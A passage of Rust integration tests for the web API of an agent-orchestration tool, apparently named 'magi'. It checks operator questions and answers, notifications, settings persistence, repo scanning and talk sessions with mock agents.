7111 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7112
7113 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7117 assert_eq!(none.status, 404, "{}", none.body);
7118 assert!(none.json()["error"].is_string(), "{}", none.body);
7119 assert_eq!(
7120 fx.head(&format!("/api/questions/{plain}/panel"))
7121 .await
7122 .status,
7123 404,
7124 "the preflight is the only way the client can learn this"
7125 );
7126
7127 let missing = fx
7129 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7130 .await;
7131 assert_eq!(missing.status, 404, "{}", missing.body);
7132 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7133
7134 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7136 assert_eq!(
7137 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7138 404
7139 );
7140 }
7141
7142 #[tokio::test]
7143 async fn a_run_with_an_open_question_reads_as_waiting() {
7144 let fx = Fixture::start().await;
7145 let run = "20260902-000000-beef".to_owned();
7146 write_run(&fx.runs(), &run, RunStatus::Implementing);
7147
7148 let before = fx.get("/api/runs").await.json();
7149 assert_eq!(before[0]["waiting"], false, "{before}");
7150
7151 let store = fx.questions();
7152 let mut q = Question::new(
7153 run.clone(),
7154 "implement".to_owned(),
7155 "impl-A".to_owned(),
7156 "Which backend?".to_owned(),
7157 String::new(),
7158 vec!["SQLite".to_owned()],
7159 );
7160 store.put(&mut q).expect("put");
7161
7162 let during = fx.get("/api/runs").await.json();
7163 assert_eq!(during[0]["waiting"], true, "{during}");
7164
7165 q.answer(Answer::Choice("SQLite".to_owned()))
7168 .expect("answer");
7169 store.put(&mut q).expect("put");
7170 let after = fx.get("/api/runs").await.json();
7171 assert_eq!(after[0]["waiting"], false, "{after}");
7172 }
7173
7174 #[tokio::test]
7175 async fn an_open_question_is_listed_and_counted_by_health() {
7176 let fx = Fixture::start().await;
7177 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7178
7179 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7180 let listed = fx.get("/api/questions").await.json();
7181 assert_eq!(listed.as_array().expect("array").len(), 1);
7182 assert_eq!(listed[0]["id"], id);
7183 assert_eq!(listed[0]["status"], "open");
7184 assert_eq!(listed[0]["choices"][1], "Redis");
7185 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7188 }
7189
7190 #[tokio::test]
7191 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7192 let fx = Fixture::start().await;
7193 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7194 let path = format!("/api/questions/{id}/answer");
7195
7196 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7197 assert_eq!(res.status, 200, "{}", res.body);
7198 let body = res.json();
7199 assert_eq!(body["status"], "answered");
7200 assert_eq!(body["answer"]["choice"], "Redis");
7201
7202 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7206 assert_eq!(again.status, 409, "{}", again.body);
7207 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7208 }
7209
7210 #[tokio::test]
7211 async fn saying_something_appends_a_turn_without_answering() {
7212 let fx = Fixture::start().await;
7213 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7214 let path = format!("/api/questions/{id}/say");
7215
7216 let res = fx
7217 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7218 .await;
7219 assert_eq!(res.status, 200, "{}", res.body);
7220 let body = res.json();
7221 assert_eq!(body["status"], "open", "talking back is not a decision");
7222 assert_eq!(body["answer"], Value::Null);
7223 assert_eq!(body["thread"][0]["who"], "operator");
7224 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7225 assert_eq!(body["waiting_on_agent"], true);
7226 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7228 }
7229
7230 #[tokio::test]
7231 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7232 let fx = Fixture::start().await;
7233 let store = fx.questions();
7234 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7235 assert_eq!(
7236 fx.get("/api/health").await.json()["questions_needs_owner"],
7237 1
7238 );
7239
7240 let res = fx
7246 .post(
7247 &format!("/api/questions/{id}/say"),
7248 Some(r#"{"body":"why not Postgres?"}"#),
7249 )
7250 .await;
7251 assert_eq!(res.status, 200, "{}", res.body);
7252 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7253 assert_eq!(
7254 fx.get("/api/health").await.json()["questions_needs_owner"],
7255 0,
7256 "waiting on the agent is not waiting on the owner"
7257 );
7258
7259 let mut q = store.get(&id).expect("get");
7263 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7264 .expect("reply");
7265 store.put(&mut q).expect("put");
7266 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7267 assert_eq!(
7268 fx.get("/api/health").await.json()["questions_needs_owner"],
7269 1,
7270 "the agent's reply is what should light the banner back up"
7271 );
7272 }
7273
7274 #[tokio::test]
7275 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7276 let fx = Fixture::start().await;
7277 let store = fx.questions();
7278
7279 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7280 let res = fx
7281 .post(
7282 &format!("/api/questions/{empty_id}/say"),
7283 Some(r#"{"body":" "}"#),
7284 )
7285 .await;
7286 assert_eq!(res.status, 400, "{}", res.body);
7287
7288 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7289 let mut answered = store.get(&answered_id).expect("get");
7290 answered
7291 .answer(Answer::Choice("SQLite".to_owned()))
7292 .expect("answer");
7293 store.put(&mut answered).expect("put");
7294 let res = fx
7295 .post(
7296 &format!("/api/questions/{answered_id}/say"),
7297 Some(r#"{"body":"still there?"}"#),
7298 )
7299 .await;
7300 assert_eq!(res.status, 409, "{}", res.body);
7301
7302 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7303 let mut abandoned = store.get(&abandoned_id).expect("get");
7304 abandoned.abandon("timed out");
7305 store.put(&mut abandoned).expect("put");
7306 let res = fx
7307 .post(
7308 &format!("/api/questions/{abandoned_id}/say"),
7309 Some(r#"{"body":"still there?"}"#),
7310 )
7311 .await;
7312 assert_eq!(res.status, 409, "{}", res.body);
7313 }
7314
7315 #[tokio::test]
7316 async fn an_answer_the_question_does_not_offer_is_refused() {
7317 let fx = Fixture::start().await;
7318 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7319 let path = format!("/api/questions/{id}/answer");
7320
7321 for body in [
7322 r#"{"choice":"Postgres"}"#,
7323 r#"{"text":"whatever you think"}"#,
7324 r#"{"choice":"Redis","text":"both"}"#,
7325 r#"{}"#,
7326 ] {
7327 let res = fx.post(&path, Some(body)).await;
7328 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7329 assert!(res.json()["error"].is_string(), "{}", res.body);
7330 }
7331 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7333 }
7334
7335 #[tokio::test]
7336 async fn a_free_text_question_takes_text_and_not_a_choice() {
7337 let fx = Fixture::start().await;
7338 let id = ask(&fx, "What should the flag be called?", &[]);
7339 let path = format!("/api/questions/{id}/answer");
7340
7341 assert_eq!(
7342 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7343 400
7344 );
7345 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7346 assert_eq!(res.status, 200, "{}", res.body);
7347 assert_eq!(res.json()["answer"]["text"], "--json");
7348 }
7349
7350 #[tokio::test]
7351 async fn an_unknown_question_is_a_json_404() {
7352 let fx = Fixture::start().await;
7353 let res = fx
7354 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7355 .await;
7356 assert_eq!(res.status, 404, "{}", res.body);
7357 assert!(res.json()["error"].is_string());
7358 }
7359
7360 #[tokio::test]
7361 async fn notifications_list_read_dismiss_and_health_agree() {
7362 let fx = Fixture::start().await;
7363 let store = Notices::at(fx.home.path().join("notifications"));
7364 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7365 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7366
7367 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7368 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7369
7370 let health = fx.get("/api/health").await.json();
7371 assert_eq!(health["notifications_unread"], 2);
7372 assert_ne!(
7373 health["notifications_rev"], rev0,
7374 "the badge must move live"
7375 );
7376
7377 let listed = fx.get("/api/notifications").await.json();
7378 assert_eq!(listed["unread"], 2);
7379 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7380 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7381
7382 let read = fx
7383 .post(&format!("/api/notifications/{}/read", a.id), None)
7384 .await;
7385 assert_eq!(read.status, 200, "{}", read.body);
7386 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7387
7388 let gone = fx
7389 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7390 .await;
7391 assert_eq!(gone.status, 200, "{}", gone.body);
7392 let listed = fx.get("/api/notifications").await.json();
7393 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7394 assert_eq!(listed["unread"], 0);
7395
7396 store.raise(Notice::info("x", "again")).unwrap();
7397 let all = fx.post("/api/notifications/read-all", None).await;
7398 assert_eq!(all.status, 200, "{}", all.body);
7399 assert_eq!(all.json()["marked"], 1);
7400 assert_eq!(
7401 fx.get("/api/health").await.json()["notifications_unread"],
7402 0
7403 );
7404
7405 let missing = fx.post("/api/notifications/nope/read", None).await;
7406 assert_eq!(missing.status, 404, "{}", missing.body);
7407 assert!(missing.json()["error"].is_string());
7408 }
7409
7410 #[tokio::test]
7417 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7418 let f = Fixture::start().await;
7419
7420 let res = f
7421 .post(
7422 "/api/queue",
7423 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7424 )
7425 .await;
7426
7427 assert_eq!(
7428 res.status, 405,
7429 "POST /api/queue must not be a route: {}",
7430 res.body
7431 );
7432 assert!(
7433 f.queue().list().is_empty(),
7434 "a task filed by a route that does not exist must not reach the disk"
7435 );
7436 assert_eq!(f.get("/api/queue").await.status, 200);
7439 }
7440
7441 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7443 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7444 .expect("checkout dir");
7445 }
7446
7447 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7449
7450 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7451 let tmp = TempDir::new().expect("tempdir");
7452 let repo = tmp.path().join("repo");
7453 std::fs::create_dir_all(&repo).expect("repo dir");
7454 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7455 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7456 if let Some(text) = machine_toml {
7457 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7458 std::fs::write(&machine, text).expect("machine toml");
7459 }
7460 (tmp, repo, machine)
7461 }
7462
7463 #[tokio::test]
7464 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7465 let (_tmp, repo, machine) =
7466 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7467 let f = Fixture::with_repo_and_machine(repo, machine).await;
7468 let res = f.get("/api/settings").await;
7469 assert_eq!(res.status, 200, "{}", res.body);
7470 let v = res.json();
7471 assert!(v["error"].is_null(), "{v}");
7472 let role = |k: &str| {
7473 v["roles"]
7474 .as_array()
7475 .and_then(|r| r.iter().find(|x| x["key"] == k))
7476 .cloned()
7477 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7478 };
7479 assert_eq!(role("judges")["source"], "machine");
7480 assert_eq!(role("judges")["editable"], true);
7481 assert_eq!(role("implementers")["source"], "default");
7482 let adv = role("advisors");
7483 assert_eq!(adv["fallback"], "judges");
7484 assert!(
7485 adv["seats"]
7486 .as_array()
7487 .is_some_and(|s| s.iter().all(|x| x == "b")),
7488 "{adv}"
7489 );
7490 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7491 assert_eq!(v["agents"][0]["source"], "repo");
7492 }
7493
7494 #[tokio::test]
7495 async fn settings_get_reports_a_config_that_does_not_parse() {
7496 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7497 let f = Fixture::with_repo_and_machine(repo, machine).await;
7498 let res = f.get("/api/settings").await;
7499 assert_eq!(res.status, 200, "{}", res.body);
7500 let v = res.json();
7501 assert!(v["error"]["message"].is_string(), "{v}");
7502 assert!(
7503 v["error"]["path"]
7504 .as_str()
7505 .is_some_and(|p| p.ends_with("magi.toml")),
7506 "{v}"
7507 );
7508 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7509 }
7510
7511 #[tokio::test]
7512 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7513 let (_tmp, repo, machine) = settings_dirs(
7514 SETTINGS_AGENTS,
7515 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7516 );
7517 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7518 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7519 let rev = f.get("/api/settings").await.json()["revision"]
7520 .as_str()
7521 .expect("revision")
7522 .to_owned();
7523 let body = serde_json::json!({
7524 "revision": rev,
7525 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7526 })
7527 .to_string();
7528 let res = f.put("/api/settings/roles", &body).await;
7529 assert_eq!(res.status, 200, "{}", res.body);
7530 let text = std::fs::read_to_string(&machine).expect("machine");
7531 assert_eq!(
7532 text,
7533 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7534 );
7535 assert_eq!(
7536 std::fs::read(repo.join("magi.toml")).expect("read"),
7537 repo_before
7538 );
7539 let again = f.get("/api/settings").await.json();
7540 let judges = again["roles"]
7541 .as_array()
7542 .expect("roles")
7543 .iter()
7544 .find(|r| r["key"] == "judges")
7545 .expect("judges")
7546 .clone();
7547 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7548 let stale = f.put("/api/settings/roles", &body).await;
7550 assert_eq!(stale.status, 409, "{}", stale.body);
7551 }
7552
7553 #[tokio::test]
7554 async fn settings_put_refuses_without_touching_the_file() {
7555 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7556 let (_tmp, repo, machine) = settings_dirs(
7557 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7558 Some(machine_text),
7559 );
7560 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7561 let rev = f.get("/api/settings").await.json()["revision"]
7562 .as_str()
7563 .expect("revision")
7564 .to_owned();
7565 for roles in [
7566 serde_json::json!({ "judges": ["nope"] }),
7567 serde_json::json!({ "reviewers": ["b"] }),
7568 serde_json::json!({ "bogus": ["a"] }),
7569 ] {
7570 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7571 let res = f.put("/api/settings/roles", &body).await;
7572 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7573 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7574 assert_eq!(
7575 std::fs::read_to_string(&machine).expect("machine"),
7576 machine_text
7577 );
7578 }
7579 }
7580
7581 #[tokio::test]
7582 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7583 let tmp = TempDir::new().expect("tempdir");
7584 let repo = tmp.path().join("repo");
7585 std::fs::create_dir_all(&repo).expect("repo dir");
7586 let root = tmp.path().join("root");
7587 make_checkout(&root, "github.com", "yukimemi", "magi");
7588 std::fs::write(
7589 repo.join("magi.toml"),
7590 format!(
7591 "[repos]\nroots = [{:?}]\n",
7592 root.to_string_lossy().into_owned()
7593 ),
7594 )
7595 .expect("write magi.toml");
7596
7597 let f = Fixture::with_repo(repo).await;
7598 let res = f.get("/api/repos").await;
7599 assert_eq!(res.status, 200, "{}", res.body);
7600 let list = res.json();
7601 let repos = list.as_array().expect("an array");
7602 assert_eq!(repos.len(), 1);
7603 assert_eq!(repos[0]["name"], "yukimemi/magi");
7604 assert!(
7605 repos[0]["path"]
7606 .as_str()
7607 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7608 "{list}"
7609 );
7610 }
7611
7612 #[tokio::test]
7613 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7614 let tmp = TempDir::new().expect("tempdir");
7615 let repo = tmp.path().join("repo");
7616 std::fs::create_dir_all(&repo).expect("repo dir");
7617 let root = tmp.path().join("root");
7618 make_checkout(&root, "github.com", "yukimemi", "magi");
7619 std::fs::write(
7620 repo.join("magi.toml"),
7621 format!(
7622 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7623 root.to_string_lossy().into_owned()
7624 ),
7625 )
7626 .expect("write magi.toml");
7627
7628 let f = Fixture::with_repo(repo).await;
7629 let first = f.get("/api/repos").await;
7630 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7631
7632 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7635 let second = f.get("/api/repos").await;
7636 assert_eq!(
7637 second.json().as_array().map(Vec::len),
7638 Some(1),
7639 "a fresh cache must not rescan inside the TTL"
7640 );
7641
7642 let refreshed = f.get("/api/repos?refresh=1").await;
7643 assert_eq!(
7644 refreshed.json().as_array().map(Vec::len),
7645 Some(2),
7646 "an explicit refresh must rescan even inside the TTL"
7647 );
7648 }
7649
7650 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7656
7657 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7661 let tmp = TempDir::new().expect("tempdir");
7662 let repo = tmp.path().join("repo");
7663 std::fs::create_dir_all(&repo).expect("repo dir");
7664 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7665 let f = Fixture::with_repo(repo.clone()).await;
7666 (tmp, repo, f)
7667 }
7668
7669 #[tokio::test]
7670 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7671 let (_tmp, _repo, f) = talk_fixture().await;
7672
7673 let opened = f.post("/api/talks", None).await;
7676 assert_eq!(opened.status, 201, "{}", opened.body);
7677 let body = opened.json();
7678 assert_eq!(body["status"], "open");
7679 assert_eq!(
7680 body["turns"].as_array().unwrap().len(),
7681 0,
7682 "opening takes no agent turn: there is nothing yet to answer"
7683 );
7684
7685 let also_opened = f.post("/api/talks", Some("{}")).await;
7687 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7688
7689 let listed = f.get("/api/talks").await.json();
7690 assert_eq!(listed.as_array().unwrap().len(), 2);
7691 }
7692
7693 #[tokio::test]
7694 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7695 let tmp = TempDir::new().expect("tempdir");
7696 let repo = tmp.path().join("repo");
7697 std::fs::create_dir_all(&repo).expect("repo dir");
7698 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7699 std::fs::write(
7700 repo.join("magi.toml"),
7701 format!("{MOCK_AGENT_TOML}\n{second}"),
7702 )
7703 .expect("write magi.toml");
7704 let home = TempDir::new().expect("temp home");
7705 let talks = Talks::at(home.path().join("talks"));
7706 let ui = Arc::new(
7707 Ui::new(
7708 Queue::at(home.path().join("queue")),
7709 Questions::at(home.path().join("questions")),
7710 talks.clone(),
7711 home.path().join("runs"),
7712 home.path().to_path_buf(),
7713 repo.clone(),
7714 )
7715 .with_worktrees_root(home.path().join("wt")),
7716 );
7717 let cfg = config_for(&repo).await.expect("discover config");
7718 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7719 let id = talk.id.clone();
7720 let call = |agent: &str| {
7721 talk_agent(
7722 State(Arc::clone(&ui)),
7723 Path(id.clone()),
7724 Json(TalkAgent {
7725 agent: agent.to_owned(),
7726 }),
7727 )
7728 };
7729
7730 let unknown = call("nobody").await.expect_err("unknown agent");
7731 assert_eq!(
7732 unknown.status,
7733 StatusCode::BAD_REQUEST,
7734 "{}",
7735 unknown.message
7736 );
7737
7738 {
7739 let mut claimed = None;
7742 for _ in 0..200 {
7743 claimed = ui.begin_talk_turn(&id).expect("claim");
7744 if claimed.is_some() {
7745 break;
7746 }
7747 tokio::time::sleep(Duration::from_millis(10)).await;
7748 }
7749 let _busy = claimed.expect("free");
7750 let busy = call("second").await.expect_err("busy talk");
7751 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7752 }
7753 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7754
7755 let Json(view) = call("second").await.expect("switch");
7756 assert_eq!(view.talk.agent, "second");
7757 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7758 let saved = talks.get(&id).expect("reload");
7759 assert_eq!(saved.agent, "second");
7760 assert_eq!(saved.turns.len(), 1);
7761
7762 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7763 .await
7764 .expect("detail");
7765 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7766 assert_eq!(roster, ["mock", "second"]);
7767
7768 let mut closed = talks.get(&id).expect("reload");
7769 talk::close(&mut closed, &talks).expect("close");
7770 let refused = call("mock").await.expect_err("closed talk");
7771 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7772 }
7773
7774 #[tokio::test]
7775 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7776 let f = Fixture::start().await;
7777 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7778 let queue = f.queue();
7779 let mut mine = Task::new(
7780 "rename the loader".to_owned(),
7781 "rename the loader".to_owned(),
7782 PathBuf::from("/repo/magi"),
7783 Source::Agent {
7784 run: talk_id.clone(),
7785 node: "chat".to_owned(),
7786 },
7787 );
7788 queue.put(&mut mine).expect("file the task");
7789 let mut theirs = Task::new(
7790 "unrelated".to_owned(),
7791 "unrelated".to_owned(),
7792 PathBuf::from("/repo/magi"),
7793 Source::Human,
7794 );
7795 queue.put(&mut theirs).expect("file the task");
7796
7797 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7798 assert_eq!(res.status, 200, "{}", res.body);
7799 let body = res.json();
7800 assert_eq!(
7801 body["status"], "open",
7802 "filing a task does not close a talk"
7803 );
7804 let tasks = body["tasks"].as_array().expect("tasks array");
7805 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7806 assert_eq!(tasks[0]["id"], mine.id);
7807 }
7808
7809 #[tokio::test]
7810 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7811 let (_tmp, _repo, f) = talk_fixture().await;
7812 let id = f.post("/api/talks", None).await.json()["id"]
7813 .as_str()
7814 .expect("id")
7815 .to_owned();
7816
7817 let res = f
7818 .post(
7819 &format!("/api/talks/{id}/say"),
7820 Some(r#"{"text":"what does the queue module do?"}"#),
7821 )
7822 .await;
7823 assert_eq!(res.status, 202, "{}", res.body);
7824 let queued = res.json();
7825 let turns = queued["turns"].as_array().expect("turns array");
7826 assert_eq!(
7827 turns.len(),
7828 1,
7829 "the answer reflects only what is on disk the instant it is sent, \
7830 before the agent's turn - which can run for the whole of \
7831 `[graph] timeout_talk` - has a chance to land: {queued}"
7832 );
7833 assert_eq!(turns[0]["who"], "operator");
7834 assert_eq!(turns[0]["body"], "what does the queue module do?");
7835 assert_eq!(
7836 queued["thinking"], true,
7837 "the accepted response exposes the background turn claim: {queued}"
7838 );
7839
7840 let mut turns_after = 1;
7841 for _ in 0..SETTLE_STEPS {
7842 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7843 turns_after = detail["turns"].as_array().expect("turns array").len();
7844 if turns_after == 2 {
7845 break;
7846 }
7847 tokio::time::sleep(Duration::from_millis(10)).await;
7848 }
7849 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7850 }
7851
7852 #[tokio::test]
7879 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7880 let tmp = TempDir::new().expect("tempdir");
7881 let repo = tmp.path().join("repo");
7882 std::fs::create_dir_all(&repo).expect("repo dir");
7883 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7884 let home = TempDir::new().expect("temp home");
7885 let talks = Talks::at(home.path().join("talks"));
7886 let ui = Arc::new(
7887 Ui::new(
7888 Queue::at(home.path().join("queue")),
7889 Questions::at(home.path().join("questions")),
7890 talks.clone(),
7891 home.path().join("runs"),
7892 home.path().to_path_buf(),
7893 repo.clone(),
7894 )
7895 .with_worktrees_root(home.path().join("wt")),
7896 );
7897 let cfg = config_for(&repo).await.expect("discover config");
7898
7899 for delay in 0..40u32 {
7900 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7901 let id = talk.id.clone();
7902
7903 let handler = tokio::spawn(talk_say(
7904 State(Arc::clone(&ui)),
7905 Path(id.clone()),
7906 Ok(Json(NewTalkTurn {
7907 text: "what does the queue module do?".to_owned(),
7908 attachments: Vec::new(),
7909 })),
7910 ));
7911 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
7912 handler.abort();
7913 let _ = handler.await;
7916
7917 let mut turns = 0;
7918 for _ in 0..SETTLE_STEPS {
7919 if let Ok(fresh) = talks.get(&id) {
7920 turns = fresh.turns.len();
7921 if turns != 1 {
7922 break;
7923 }
7924 }
7925 tokio::time::sleep(Duration::from_millis(10)).await;
7926 }
7927 assert_ne!(
7928 turns, 1,
7929 "delay {delay}: talk {id} recorded the operator's turn but \
7930 the agent never answered - the reply task was never \
7931 started after the handler future was dropped"
7932 );
7933 }
7934 }
7935
7936 #[tokio::test]
7981 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
7982 let tmp = TempDir::new().expect("tempdir");
7983 let repo = tmp.path().join("repo");
7984 std::fs::create_dir_all(&repo).expect("repo dir");
7985 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7986 let home = TempDir::new().expect("temp home");
7987 let talks = Talks::at(home.path().join("talks"));
7988 let ui = Arc::new(
7989 Ui::new(
7990 Queue::at(home.path().join("queue")),
7991 Questions::at(home.path().join("questions")),
7992 talks.clone(),
7993 home.path().join("runs"),
7994 home.path().to_path_buf(),
7995 repo.clone(),
7996 )
7997 .with_worktrees_root(home.path().join("wt")),
7998 );
7999 let cfg = config_for(&repo).await.expect("discover config");
8000
8001 for attempt in 0..3u32 {
8002 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8003 let id = talk.id.clone();
8004 let turn_guard = ui
8007 .begin_talk_turn(&id)
8008 .expect("claim the turn")
8009 .expect("a fresh talk owes nobody a turn");
8010
8011 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8012 let (release_tx, release_rx) = std::sync::mpsc::channel();
8013 ui.set_busy_queue_gate(BusyQueueGate {
8014 reached: reached_tx,
8015 release: release_rx,
8016 });
8017
8018 let handler = tokio::spawn(talk_say(
8019 State(Arc::clone(&ui)),
8020 Path(id.clone()),
8021 Ok(Json(NewTalkTurn {
8022 text: "what does the queue module do?".to_owned(),
8023 attachments: Vec::new(),
8024 })),
8025 ));
8026
8027 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8032 .await
8033 .unwrap_or_else(|_| {
8034 panic!(
8035 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8036 )
8037 })
8038 .expect("the busy branch dropped the gate without using it");
8039
8040 let running = talks.get(&id).expect("reload talk");
8047 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8048
8049 handler.abort();
8053 let _ = handler.await;
8054
8055 let _ = release_tx.send(());
8061
8062 let mut fresh = talks.get(&id).expect("reload talk");
8065 for _ in 0..SETTLE_STEPS {
8066 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8067 break;
8068 }
8069 tokio::time::sleep(Duration::from_millis(10)).await;
8070 fresh = talks.get(&id).expect("reload talk");
8071 }
8072 assert!(
8073 fresh.pending.is_empty() && fresh.turns.len() == 2,
8074 "attempt {attempt}: talk {id} left the operator's text queued \
8075 with no drainer - the reclaimed turn was dropped along with \
8076 the handler future (pending {:?}, {} turns)",
8077 fresh.pending,
8078 fresh.turns.len()
8079 );
8080 }
8081 }
8082
8083 #[tokio::test]
8084 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8085 let (_tmp, _repo, f) = talk_fixture().await;
8086 let id = f.post("/api/talks", None).await.json()["id"]
8087 .as_str()
8088 .expect("id")
8089 .to_owned();
8090 let store = f.talks();
8091 let mut recovered = store.get(&id).expect("opened talk");
8092 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8093 .expect("persist pending draft without a live turn");
8094
8095 let edited = f
8096 .post(
8097 &format!("/api/talks/{id}/pending/edit"),
8098 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8099 )
8100 .await;
8101 assert_eq!(edited.status, 200, "{}", edited.body);
8102 assert!(edited.json()["thinking"].as_bool().unwrap());
8103
8104 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8105 for _ in 0..SETTLE_STEPS {
8106 if detail["turns"].as_array().expect("turns").len() == 2 {
8107 break;
8108 }
8109 tokio::time::sleep(Duration::from_millis(10)).await;
8110 detail = f.get(&format!("/api/talks/{id}")).await.json();
8111 }
8112 let turns = detail["turns"].as_array().expect("turns");
8113 assert_eq!(
